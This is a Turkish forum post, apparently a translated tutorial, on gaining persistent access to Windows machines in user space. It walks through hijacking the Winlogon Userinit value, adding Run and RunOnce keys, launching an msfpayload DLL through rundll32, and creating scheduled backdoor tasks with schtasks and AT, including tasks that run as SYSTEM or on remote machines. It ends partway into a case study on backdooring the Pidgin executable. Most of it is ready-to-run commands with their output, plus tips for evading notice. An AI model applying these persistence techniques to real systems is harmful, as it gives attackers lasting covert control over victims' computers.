Windows Hacking Serisi #3 | Windows Kullanıcı Alanı Devamlılığının Temelleri

PuaL

Forum Üyesi
Katılım
19 Nisan 2020
Mesajlar
616
Tepkime puanı
0
Windows Kullanıcı Alanı Devamlılığının Temelleri

Bu konu, Windows makinelerine kalıcı erişim sağlamak için kullanılabilecek birkaç tekniği kapsayacaktır. Genellikle bu konudakiler bir pentest sırasında (kırmızı takım amaçları hariç) devreye girmez, çünkü projeye eklenmesinin bir faydası yoktur. Yine de bu, hem savunma hem de hücum açısından ilginç bir konu olmadığı anlamına gelmez.

Başlığın da belirttiği gibi, sadece kullanıcı alanını kapsayacağız. Gelişmiş kalıcılık mekanizmalarının bunun çok ötesine geçtiği, çekirdek kök setlerinin (özel NDIS protokol sürücüleri gibi) ve hatta bant dışına çıkmanın (Sistem Yönetimi Modu, Rogue Hypervisors) olduğu unutulmamalıdır.



Windows Kayıt Defteri İle Çalıştırıldığında

Windows kayıt defterini kurcalamak, bir Windows makinesine kalıcı erişim sağlamanın muhtemelen en yaygın ve şeffaf yoludur. Kayıt defterini kullanarak toplu dosyaları yürütülebilir ve hatta DLL'lerde dışa aktarılan fonksiyonları çalıştırabiliriz. Başlamadan önce "HKEY_LOCAL_MACHINE" (HKLM) ve "HKEY_CURRENT_USER" (HKCU) arasındaki farkı açıklamak istiyorum. HKLM anahtarları, sistem her başlatıldığında çalıştırılır (gerektiğinde), HKCU anahtarları ise yalnızca belirli bir kullanıcı sistemde oturum açtığında çalıştırılır.

Bağlantılar:

Microsoft DOS reg command -
Userinit -
Run and RunOnce Registry Keys -
RUNDLL and RUNDLL32 -



Kod:
# The usual suspects.

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]



Winlogon'u Yıkmak:

Microsoft TechNet açıklamasına göre; Userinit kayıt defteri anahtarı, bir kullanıcı sistemde oturum açtığında hangi programların Winlogon tarafından çalıştırılacağını tanımlar. Genellikle Winlogon, sırasıyla oturum açma komut dosyalarını çalıştıran, ağ bağlantılarını yeniden kuran ve ardından gezgini başlatan Userinit.exe'yi çalıştırır.

Aşağıda Winlogon kayıt defteri anahtarının "varsayılan" içeriğini görebiliriz.


Kod:
# Windows 7 machine.

C:\Windows\system32> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
ReportBootOk REG_SZ 1
Shell REG_SZ explorer.exe
PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16}
Userinit REG_SZ C:\Windows\system32\userinit.exe
VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile
AutoRestartShell REG_DWORD 0x1
Background REG_SZ 0 0 0
CachedLogonsCount REG_SZ 10
DebugServerCommand REG_SZ no
ForceUnlockLogon REG_DWORD 0x0
LegalNoticeCaption REG_SZ
LegalNoticeText REG_SZ
PasswordExpiryWarning REG_DWORD 0x5
PowerdownAfterShutdown REG_SZ 0
ShutdownWithoutLogon REG_SZ 0
WinStationsDisabled REG_SZ 0
DisableCAD REG_DWORD 0x1
scremoveoption REG_SZ 0
ShutdownFlags REG_DWORD 0x5
AutoAdminLogon REG_SZ 0
DefaultUserName REG_SZ Fubar

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked


"Userinit" kayıt defteri anahtarını değiştirmek için (neredeyse) geçerli bir neden yoktur. Bu nedenle burada varsayılan olmayan bir değerle karşılaşırsanız alarm zillerinin çaldığını duymanız gerekir. Görünüşe göre anahtarı değiştirebilir ve çalıştırılabilir userinit.exe dosyasını kendi kötü amaçlı binary/script'imizin başına ekleyebiliriz.

Kod:
C:\Windows\system32> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit
/t REG_SZ /d "C:\Some\Evil\Binary.exe","C:\Windows\system32\userinit.exe"

Value Userinit exists, overwrite(Yes/No)? Yes
The operation completed successfully.

C:\Windows\system32> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
ReportBootOk REG_SZ 1
Shell REG_SZ explorer.exe
PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16}
Userinit REG_SZ C:\Some\Evil\Binary.exe,C:\Windows\system32\userinit.exe
VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile
AutoRestartShell REG_DWORD 0x1
Background REG_SZ 0 0 0
CachedLogonsCount REG_SZ 10
DebugServerCommand REG_SZ no
ForceUnlockLogon REG_DWORD 0x0
LegalNoticeCaption REG_SZ
LegalNoticeText REG_SZ
PasswordExpiryWarning REG_DWORD 0x5
PowerdownAfterShutdown REG_SZ 0
ShutdownWithoutLogon REG_SZ 0
WinStationsDisabled REG_SZ 0
DisableCAD REG_DWORD 0x1
scremoveoption REG_SZ 0
ShutdownFlags REG_DWORD 0x5
AutoAdminLogon REG_SZ 0
DefaultUserName REG_SZ Fubar

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked


Yukarıda gösterilen değişiklikle, herhangi bir kullanıcı girişi kötü "Binary.exe"nin yürütülmesini tetikleyecektir. Bu kesinlikle oldukça rahatsız edici. Gizli amaçlar için, userinit çalıştırılabilir arka kapı koymak, yeniden adlandırmak ve orijinal yürütülebilir dosyayı çağıran bir epilog'a sahip farklı bir binary (aynı adı taşıyan) yüklemek çok daha iyi olacaktır.



Run ve RunOnce:

Diğer seçeneğimiz ise, HKLM/HKCU Run/RunOnce kayıt defteri anahtarlarını kötüye kullanmaktır. Run ve RunOnce farklı amaçlara hizmet eder, adından da anlaşılacağı gibi RunOnce, etkilenen kullanıcı oturum açtıktan sonra yalnızca bir kez çalıştırılırken Run, oturum açma işlemlerinde kalıcıdır. Bu kayıt defteri anahtarlarıyla ilgili dikkat edilmesi gereken bazı ilginç gariplikler var.
(1) RunOnce anahtarı, çalıştırılmasa bile, oturum açıldığında silinir, bunu önlemek için değerin önüne bir ünlem işareti (!) Eklemelisiniz. Bunu yapmak, bir sonraki oturum açma işleminde anahtarı yeniden çalıştırmayı deneyecektir. (2) Güvenli modda önyükleme yapılırken hem Run hem de RunOnce tuşları çalıştırılmaz, yürütülmelerini zorlamak için anahtar değerinin önüne yıldız işareti (*) koyabilirsiniz.

Çeşitli Run komutlarını kolayca sorgulayabiliriz.


Kod:
C:\Windows\system32> reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
VMware User Process REG_SZ "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr

C:\Windows\system32> reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
C:\Windows\system32> reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce"
C:\Windows\system32> reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce"


Bu kayıt defteri anahtarlarının oldukça basit bir yapısı vardır. Örneğin, yukarıdaki çıktıdan, herhangi bir kullanıcı oturumunun açılması için VMWare Tools hizmetini tetikleyeceğini görebiliriz. Benzer şekilde, kendi kötü amaçlı kayıt defteri anahtarımızı eklemek çok kolaydır.

Kod:
C:\Windows\system32> reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v EvilKey
/t REG_SZ /d "C:\Some\Evil\Binary.exe"

The operation completed successfully.

C:\Windows\system32> reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
VMware User Process REG_SZ "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr
EvilKey REG_SZ C:\Some\Evil\Binary.exe



RUNDLL ve RUNDLL32:

Rundll'den ayrıca bahsetmek istedim. Rundll çok uzun zamandır piyasada ve DLL dosyalarında depolu paylaşılan koda doğrudan erişmek için kullanılıyor. Normal bir kullanıcı olarak DLL'lerle bu şekilde etkileşim kurmak için hiçbir sebep olmamalıdır, belki de toplu komut dosyası oluşturmak hariç.

Rundll bizim için yararlıdır çünkü kalıcılığa fazladan bir soyutlama katmanı ekler. Yasal bir dll içindeki bir fonksiyonu ele geçirmek ve yürütme akışını kabuk kodumuza yeniden yönlendirmek, kötü amaçlı bir yürütülebilir dosya veya toplu iş dosyasını başlatmaktan çok daha zor olacaktır.

Gösterme amacıyla msfpayload kullanarak bir messagebox dll oluşturabiliriz.


Kod:
root@Josjikawa:~# msfpayload windows/messagebox text='Rundll32 Backdoor' D > /root/Desktop/evil.dll

Created by msfpayload ( ).
Payload: windows/messagebox
Length: 270
Options: {"TEXT"=>"Rundll32 Backdoor"}


@ Main12) fonksiyon adını bir parametre olarak rundll'ye geçirerek payloadımızı çalıştırabiliriz.

Kod:
C:\Windows\system32> reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v
EvilRundll /t REG_SZ /d "C:\Windows\system32\rundll32.exe C:\Users\Fubar\Desktop\evil.dll, @ Main12"

The operation completed successfully.

C:\Windows\system32> reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
VMware User Process REG_SZ "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr
EvilRundll REG_SZ C:\Windows\system32\rundll32.exe C:\Users\Fubar\Desktop\evil.dll, @ Main12



Kabuğu Aldın Mı?

Aşağıda, bu üç kayıt defteri kalıcılık tekniğinin uygulamalı bir ekran görüntüsünü görebilirsiniz.




Üç arka kapı da, explorer başlatıldıktan hemen sonra çalıştırılır. Bu durumda, Winlogon ve Run anahtarları masaüstünde bulunan toplu komut dosyalarını çalıştırır.

Kod:
@echo off***************************************************************************************************************
for /f %%i in ('time /T') do set _time=%%i
echo Backdoor started at %_time%
systeminfo | find /i "Boot Time"
echo.
pause



Planlanmış Arka Kapılar

Daha sonra, Windows'ta mevcut görev planlama seçeneklerine bir göz atacağız. Planlama yapmak faydalıdır, farklı izin setlerine sahip görevleri çalıştırabilir ve olayları kullanarak veya belirli zaman aralıklarında görevi tetikleyebiliriz. Bakalım arka kapımız için randevu alamayacak mıyız!

Bağlantılar:
Schtasks [Microsoft Technet] -
Wevtutil [Microsoft Technet] -
Eventcreate [Microsoft Technet] -
Event-O-Pedia (FTW) -
Security events in Windows 7 and Server 2k8 [Microsoft Support] -
AT [Microsoft Technet] -




Schtasks:

Hiç schtask kullanmadıysanız, sahip olduğu kapsamlı özelliklere ve esnekliğe hayran kalacaksınız. Size kolaylık sağlamak için aşağıdaki görev oluşturma seçeneklerini görebilirsiniz (tüm seçenekler için "schtasks/?" komutunu kullanın).

Kod:
C:\Windows\system32> schtasks /Create /?

SCHTASKS /Create [/S system [/U username [/P [password]]]]
[/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
[/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
[/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
[/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F]

Description:
Enables an administrator to create scheduled tasks on a local or
remote system.

Parameter List:
/S system Specifies the remote system to connect to. If omitted
the system parameter defaults to the local system.

/U username Specifies the user context under which SchTasks.exe
should execute.

/P [password] Specifies the password for the given user context.
Prompts for input if omitted.

/RU username Specifies the "run as" user account (user context)
under which the task runs. For the system account,
valid values are "", "NT AUTHORITY\SYSTEM"
or "SYSTEM".
For v2 tasks, "NT AUTHORITY\LOCALSERVICE" and
"NT AUTHORITY\NETWORKSERVICE" are also available as well
as the well known SIDs for all three.

/RP [password] Specifies the password for the "run as" user.
To prompt for the password, the value must be either
"*" or none. This password is ignored for the
system account. Must be combined with either /RU or
/XML switch.

/SC schedule Specifies the schedule frequency.
Valid schedule types: MINUTE, HOURLY, DAILY, WEEKLY,
MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.

/MO modifier Refines the schedule type to allow finer control over
schedule recurrence. Valid values are listed in the
"Modifiers" section below.

/D days Specifies the day of the week to run the task. Valid
values: MON, TUE, WED, THU, FRI, SAT, SUN and for
MONTHLY schedules 1 - 31 (days of the month).
Wildcard "*" specifies all days.

/M months Specifies month(s) of the year. Defaults to the first
day of the month. Valid values: JAN, FEB, MAR, APR,
MAY, JUN, JUL, AUG, SEP, OCT, NOV, DEC. Wildcard "*"
specifies all months.

/I idletime Specifies the amount of idle time to wait before
running a scheduled ONIDLE task.
Valid range: 1 - 999 minutes.

/TN taskname Specifies a name which uniquely
identifies this scheduled task.

/TR taskrun Specifies the path and file name of the program to be
run at the scheduled time.
Example: C:\windows\system32\calc.exe

/ST starttime Specifies the start time to run the task. The time
format is HH:mm (24 hour time) for example, 14:30 for
2:30 PM. Defaults to current time if /ST is not
specified. This option is required with /SC ONCE.

/RI interval Specifies the repetition interval in minutes. This is
not applicable for schedule types: MINUTE, HOURLY,
ONSTART, ONLOGON, ONIDLE, ONEVENT.
Valid range: 1 - 599940 minutes.
If either /ET or /DU is specified, then it defaults to
10 minutes.

/ET endtime Specifies the end time to run the task. The time format
is HH:mm (24 hour time) for example, 14:50 for 2:50 PM.
This is not applicable for schedule types: ONSTART,
ONLOGON, ONIDLE, ONEVENT.

/DU duration Specifies the duration to run the task. The time
format is HH:mm. This is not applicable with /ET and
for schedule types: ONSTART, ONLOGON, ONIDLE, ONEVENT.
For /V1 tasks, if /RI is specified, duration defaults
to 1 hour.

/K Terminates the task at the endtime or duration time.
This is not applicable for schedule types: ONSTART,
ONLOGON, ONIDLE, ONEVENT. Either /ET or /DU must be
specified.

/SD startdate Specifies the first date on which the task runs. The
format is mm/dd/yyyy. Defaults to the current
date. This is not applicable for schedule types: ONCE,
ONSTART, ONLOGON, ONIDLE, ONEVENT.

/ED enddate Specifies the last date when the task should run. The
format is mm/dd/yyyy. This is not applicable for
schedule types: ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.

/EC ChannelName Specifies the event channel for OnEvent triggers.

/IT Enables the task to run interactively only if the /RU
user is currently logged on at the time the job runs.
This task runs only if the user is logged in.

/NP No password is stored. The task runs non-interactively
as the given user. Only local resources are available.

/Z Marks the task for deletion after its final run.

/XML xmlfile Creates a task from the task XML specified in a file.
Can be combined with /RU and /RP switches, or with /RP
alone, when task XML already contains the principal.

/V1 Creates a task visible to pre-Vista platforms.
Not compatible with /XML.

/F Forcefully creates the task and suppresses warnings if
the specified task already exists.

/RL level Sets the Run Level for the job. Valid values are
LIMITED and HIGHEST. The default is LIMITED.

/DELAY delaytime Specifies the wait time to delay the running of the
task after the trigger is fired. The time format is
mmmm:ss. This option is only valid for schedule types
ONSTART, ONLOGON, ONEVENT.

/? Displays this help message.

Modifiers: Valid values for the /MO switch per schedule type:
MINUTE: 1 - 1439 minutes.
HOURLY: 1 - 23 hours.
DAILY: 1 - 365 days.
WEEKLY: weeks 1 - 52.
ONCE: No modifiers.
ONSTART: No modifiers.
ONLOGON: No modifiers.
ONIDLE: No modifiers.
MONTHLY: 1 - 12, or FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY.
ONEVENT: XPath event query string.


Kafanızı söz dizimine gömerseniz; görevleri oluşturmak, silmek ve sorgulamak oldukça basittir. Aşağıdaki örneğe bir göz atın. Bu görev, Windows hesap makinesini her dakika, sonsuza kadar geçerli kullanıcı (Fubar) olarak çalıştıracaktır. Çok eğlenceli ve bi o kadar da can sıkıcı!


Kod:
C:\Windows\system32> schtasks /create /sc minute /mo 1 /tn "AnnoyingCalc" /tr C:\Windows\system32\calc.exe

SUCCESS: The scheduled task "AnnoyingCalc" has successfully been created.

C:\Windows\system32> schtasks /query /tn AnnoyingCalc /fo List /v

Folder: \
HostName: WIN7-TESTBED
TaskName: \AnnoyingCalc
Next Run Time: 10/19/2014 12:36:00 AM
Status: Ready
Logon Mode: Interactive only
Last Run Time: 10/19/2014 12:35:00 AM
Last Result: 1
Author: Fubar
Task To Run: C:\Windows\system32\calc.exe
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: Win7-Testbed\Fubar
Delete Task If Not Rescheduled: Enabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: One Time Only, Minute
Start Time: 12:35:00 AM
Start Date: 10/19/2014
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: 0 Hour(s), 1 Minute(s)
Repeat: Until: Time: None
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled





Bir görevi silmek için yalnızca görev adını belirtmeniz gerekir.

Kod:
C:\Windows\system32> schtasks /Delete /tn AnnoyingCalc

WARNING: Are you sure you want to remove the task "AnnoyingCalc" (Y/N)? Y
SUCCESS: The scheduled task "AnnoyingCalc" was successfully deleted.


Bir saldırganın schtasks'ı kötüye kullanma potansiyeli olduğu bellidir. Olasılıklar hakkında bir fikir edinmek için aşağıda birkaç örnek görebilirsiniz.

Kod:
# Runs a task daily at 8am.
schtasks /create /tn "EvilTask" /tr C:\Some\Evil\Task.exe /sc daily /st 08:00

# Runs a task each time the user's session is idle for 5 minutes.
schtasks /create /tn "EvilTask" /tr C:\Some\Evil\Task.exe /sc onidle /i 5

# Runs a task, as SYSTEM, each time a user logs in.
schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "EvilTask" /tr C:\Some\Evil\Task.exe /sc onlogon

# Runs a task on a remote machine, as SYSTEM, daily at 8am.
schtasks /create /s RemoteMachine /u domain\user /p password /ru "NT AUTHORITY\SYSTEM" /rp "" /tn
"EvilTask" /tr C:\Some\Evil\Task.exe /sc daily /st 08:00


Daha ayrıntılı bir yaklaşıma ihtiyacınız varsa, oldukça özel Windows olaylarında görevleri tetikleyebilirsiniz. Bunu yapmak biraz daha fazla emek gerektirir, ancak size görevin yürütülmesi üzerinde benzersiz bir kontrol sağlar. Tek uyarı, hedefin, hedeflemek istediğiniz olay için olay günlüğünü etkinleştirmesi gerektiğidir. Mevcut olay kaydedicilerini sırtlayabilirsiniz, ancak komut satırından özel olayları eklemenin kolay bir yolu yok gibi görünüyor (özel bir olay bildirimini içe aktarmak mümkün olabilir, ancak bunu test etmedim). GUI erişiminiz varsa, özel olaylar gpedit.msc kullanılarak yapılandırılabilir. Daha ayrıntılı bir açıklama bulunabilir.

Bunu göstermek için, bir kullanıcı sistemden her çıkış yaptığında (örneğin öğle yemeği molası sırasında) çalışacak bir görev planlayacağız. Wevtutil'i çeşitli sistem olay günlüklerini ve yayıncıları sorgulamak için kullanabiliriz.


Kod:
C:\Windows\system32> wevtutil /?

Windows Events Command Line Utility.

Enables you to retrieve information about event logs and publishers, install
and uninstall event manifests, run queries, and export, archive, and clear logs.

Usage:

You can use either the short (for example, ep /uni) or long (for example,
enum-publishers /unicode) version of the command and option names. Commands,
options and option values are not case-sensitive.

Variables are noted in all upper-case.

wevtutil COMMAND [ARGUMENT [ARGUMENT] ...] [/OPTION:VALUE [/OPTION:VALUE] ...]

Commands:

el | enum-logs List log names.
gl | get-log Get log configuration information.
sl | set-log Modify configuration of a log.
ep | enum-publishers List event publishers.
gp | get-publisher Get publisher configuration information.
im | install-manifest Install event publishers and logs from manifest.
um | uninstall-manifest Uninstall event publishers and logs from manifest.
qe | query-events Query events from a log or log file.
gli | get-log-info Get log status information.
epl | export-log Export a log.
al | archive-log Archive an exported log.
cl | clear-log Clear a log.


Olay kanalına (Güvenlik) ve olay ID'sine(4647) başvurarak en son kaydedilen "Kullanıcı tarafından başlatılan Oturum Kapatma" olayını kontrol edebiliriz. Kanal ve etkinlik ayrıntıları için lütfen bakın.


Kod:
C:\Windows\system32> wevtutil qe Security /f:text /c:1 /q:"Event[System[(EventID=4647)]]

Event[0]:
Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Date: 2014-09-13T21:05:54.339
Event ID: 4647
Task: Logoff
Level: Information
Opcode: Info
Keyword: Audit Success
User: N/A
User Name: N/A
Computer: Win7-Testbed
Description:
User initiated logoff:

Subject:
Security ID: S-1-5-21-2436999474-2994553960-2820488997-1001
Account Name: Fubar
Account Domain: Win7-Testbed
Logon ID: 0x14afc


Elimizdeki bu bilgilerle zamanlanmış bir görev oluşturabiliriz. Schtasks'a uygun olay kanalını ve hedef olay için XPath sorgu dizesini sağlamamız gerekecek.


Kod:
C:\Windows\system32> schtasks /Create /TN OnLogOff /TR C:\Windows\system32\calc.exe /SC ONEVENT /EC
Security /MO "*[System[(Level=4 or Level=0) and (EventID=4634)]]"

SUCCESS: The scheduled task "OnLogOff" has successfully been created.

C:\Windows\system32> schtasks /Query /tn OnLogOff /fo List /v

Folder: \
HostName: WIN7-TESTBED
TaskName: \OnLogOff
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive only
Last Run Time: N/A
Last Result: 1
Author: Fubar
Task To Run: C:\Windows\system32\calc.exe
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: Win7-Testbed\Fubar
Delete Task If Not Rescheduled: Enabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: When an event occurs
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A


Oturumu kapatıp tekrar açtıktan sonra Windows hesap makinesi ile karşılanıyoruz.







Windows AT:

Windows AT komutu, schtask'lara kıyasla ikinci sınıf bir vatandaştır. Ayrıca görevleri belirli zamanlarda çalışacak şekilde planlayabilir, ancak neredeyse yapılandırma seçeneği yoktur.


Kod:
C:\Windows\system32> at /?

The AT command schedules commands and programs to run on a computer at
a specified time and date. The Schedule service must be running to use
the AT command.

AT [\\computername] [ [id] [/DELETE] | /DELETE [/YES]]
AT [\\computername] time [/INTERACTIVE]
[ /EVERY:date[,...] | /NEXT:date[,...]] "command"

\\computername Specifies a remote computer. Commands are scheduled on the
local computer if this parameter is omitted.
id Is an identification number assigned to a scheduled
command.
/delete Cancels a scheduled command. If id is omitted, all the
scheduled commands on the computer are canceled.
/yes Used with cancel all jobs command when no further
confirmation is desired.
time Specifies the time when command is to run.
/interactive Allows the job to interact with the desktop of the user
who is logged on at the time the job runs.
/every:date[,...] Runs the command on each specified day(s) of the week or
month. If date is omitted, the current day of the month
is assumed.
/next:date[,...] Runs the specified command on the next occurrence of the
day (for example, next Thursday). If date is omitted, the
current day of the month is assumed.
"command" Is the Windows NT command, or batch program to be run.


Unutulmaması gereken bir nokta ise, AT komutunun her zaman SİSTEM düzeyinde ayrıcalıklarla çalışmasıdır. Aşağıda birkaç kullanım örneği görülebilir.

Kod:
# Runs a batch file daily at 8am.
at 08:00 /EVERY:m,t,w,th,f,s,su C:\Some\Evil\batch.bat

# Runs a binary every Tuesday at 8am.
at 08:00 /EVERY:t C:\Some\Evil\Task.exe

# Runs a binary, only once, at 10pm.
at 22:00 /NEXT: C:\Some\Evil\Task.exe

# Runs a task on a remote machine, every 1st and 20th of the month, at 8am.
at \\RemoteMachine 08:00 /EVERY:1,20 C:\Some\Evil\Task.exe


Zamanlanmış görevler, komut satırından AT komutunu çağırarak listelenebilir. Görevler, görev kimliği kullanılarak silinebilir.

Kod:
C:\Windows\system32> at 08:00 /EVERY:t C:\Some\Evil\Task.exe

Added a new job with job ID = 1

C:\Windows\system32> at

Status ID Day Time Command Line
-------------------------------------------------------------------------------
1 Each T 8:00 AM C:\Some\Evil\Task.exe

# AT does not provide confirmation for task deletion.
C:\Windows\system32> at 1 /delete



Süreç Kaynağı Yakalama

Bu bölümün başlığı özel olarak kullanılmaktadır. Burada gerçekten bakacağımız şey:
(1) Zaten önyükleme/başlangıçta çalışan normal işlemler veya (2) Önyükleme/başlangıçta çalışacak şekilde yapılandırabileceğimiz işlemler. Uygun bir hedef bulduktan sonra, programın kullandığı tüm kaynaklara bakmamız gerekir. Bu kaynaklardan birine shellcode enjekte edebilirsek, kalıcılığa ulaşmış oluruz.

Zaten bu tekniğin çok daha gizli olduğu belli olmalı. Kalıcılığın kanıtı hemen mevcut olmaz, yasal süreç veya hizmet tarafından gizlenmiştir. Buna ek olarak, kabuk kodu yasal kodla karıştırıldığı için AV tespiti olmayacaktır. Unutulmaması gereken son bir şey, imzalı bir kaynağı değiştirmenin imzayı geçersiz kılacağıdır.




Örnek Olay - Pidgin Instant Messenger:

İlk örneğimiz için, bir PE yürütülebilir dosyanın manuel olarak arka kapı kaplamasına bakacağız. Diyelim ki bir hedeften ödün verdikten sonra, Pidgin'in (popüler bir sohbet programı) başlangıçta çalıştırıldığını keşfediyoruz. Bu durumda, Pidgin'in Windows başlangıç klasöründe olduğu için otomatik olarak açılışta başlayacağını söyleyebiliriz.

Kod:
# The starup folder for the current user is empty.
C:\> dir "C:\Users\Fubar\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

Volume in drive C has no label.
Volume Serial Number is CA24-B8EA

Directory of C:\Users\Fubar\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

09/13/2014 08:05 PM .
09/13/2014 08:05 PM ..
0 File(s) 0 bytes
2 Dir(s) 55,254,183,936 bytes free

# The starup folder for all users contains a shortcut to Pidgin.
C:\> dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

Volume in drive C has no label.
Volume Serial Number is CA24-B8EA

Directory of C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

11/23/2014 01:09 AM .
11/23/2014 01:09 AM ..
11/23/2014 01:09 AM 1,328 pidgin.exe.lnk
1 File(s) 1,328 bytes
2 Dir(s) 55,254,183,936 bytes free


Daha sonra Pidgin binarysinin nerede olduğunu bulmalıyız.

Kod:
C:\> dir /s pidgin.exe

Volume in drive C has no label.
Volume Serial Number is CA24-B8EA

Directory of C:\Program Files\Pidgin

11/22/2014 11:00 PM 60,176 pidgin.exe
1 File(s) 60,176 bytes

Total Files Listed:
1 File(s) 60,176 bytes
0 Dir(s) 55,249,006,592 bytes free

C:\> dir "C:\Program Files\Pidgin\"

Volume in drive C has no label.
Volume Serial Number is CA24-B8EA

Directory of C:\Program Files\Pidgin

11/23/2014 02:28 AM .
11/23/2014 02:28 AM ..
11/22/2014 08:17 PM ca-certs
10/19/2014 09:40 PM 671,031 exchndl.dll
10/19/2014 09:40 PM 301,056 freebl3.dll
11/22/2014 08:17 PM Gtk
10/19/2014 09:40 PM 417,758 libjabber.dll
10/19/2014 09:40 PM 152,852 libmeanwhile-1.dll
10/19/2014 09:40 PM 202,752 libnspr4.dll
10/19/2014 09:40 PM 311,021 liboscar.dll
10/19/2014 09:40 PM 15,872 libplc4.dll
10/19/2014 09:40 PM 14,336 libplds4.dll
10/19/2014 09:40 PM 845,433 libpurple.dll
10/19/2014 09:39 PM 190,464 libsasl.dll
10/19/2014 09:40 PM 2,097,721 libsilc-1-1-2.dll
10/19/2014 09:40 PM 818,985 libsilcclient-1-1-3.dll
10/19/2014 09:40 PM 36,878 libssp-0.dll
10/19/2014 09:39 PM 1,274,655 libxml2-2.dll
10/19/2014 09:40 PM 236,666 libymsg.dll
10/19/2014 09:40 PM 784,384 nss3.dll
10/19/2014 09:40 PM 113,152 nssutil3.dll
11/22/2014 08:17 PM pidgin-2.10.10-dbgsym
11/22/2014 08:17 PM 104,965 pidgin-uninst.exe
10/19/2014 09:40 PM 1,157,795 pidgin.dll
11/22/2014 11:00 PM 60,176 pidgin.exe # Bingo!
11/22/2014 08:17 PM pixmaps
11/22/2014 08:17 PM plugins
11/22/2014 08:17 PM sasl2
10/19/2014 09:40 PM 101,376 smime3.dll
10/19/2014 09:40 PM 174,080 softokn3.dll
11/22/2014 08:17 PM sounds
11/22/2014 08:17 PM spellcheck
10/19/2014 09:40 PM 486,400 sqlite3.dll
10/19/2014 09:40 PM 230,912 ssl3.dll
24 File(s) 10,800,720 bytes
10 Dir(s) 55,248,990,208 bytesfree


Bu binary'i bir arka kapı ile değiştirebiliriz, böylece sistem her açıldığında kötü amaçlı kodumuz çalıştırılır. Ancak, bunu yapmak acı verici bir şekilde aşikar olurdu, Pidgin başlamazdı ve daha yakın bir araştırma, aldatmacamızı hemen ortaya çıkarırdı.

